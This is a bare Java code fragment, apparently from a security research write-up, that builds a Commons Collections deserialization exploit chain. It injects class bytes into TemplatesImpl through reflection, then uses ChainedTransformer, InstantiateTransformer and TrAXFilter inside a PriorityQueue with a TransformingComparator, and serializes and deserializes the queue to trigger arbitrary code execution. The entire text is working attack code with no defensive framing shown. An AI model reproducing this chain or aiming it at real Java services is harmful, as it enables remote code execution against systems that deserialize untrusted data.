Field field = templates.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templates,newbyte[][]{classBytes,classFiles.classAsBytes(Foo.class)});
Field field2 = templates.getClass().getDeclaredField("_name"); field2.setAccessible(true); field2.set(templates,"ananaskr");
Field field3 = templates.getClass().getDeclaredField("_tfactory"); field3.setAccessible(true); field3.set(templates, TransformerFactoryImpl.class.newInstance());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transcomparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(2,transcomparator); priorityQueue.add(1); priorityQueue.add(1); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(priorityQueue); out.flush(); out.close();
byte[] bytes = baos.toByteArray();
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ObjectInputStream in = new ObjectInputStream(bais); in.readObject(); in.close();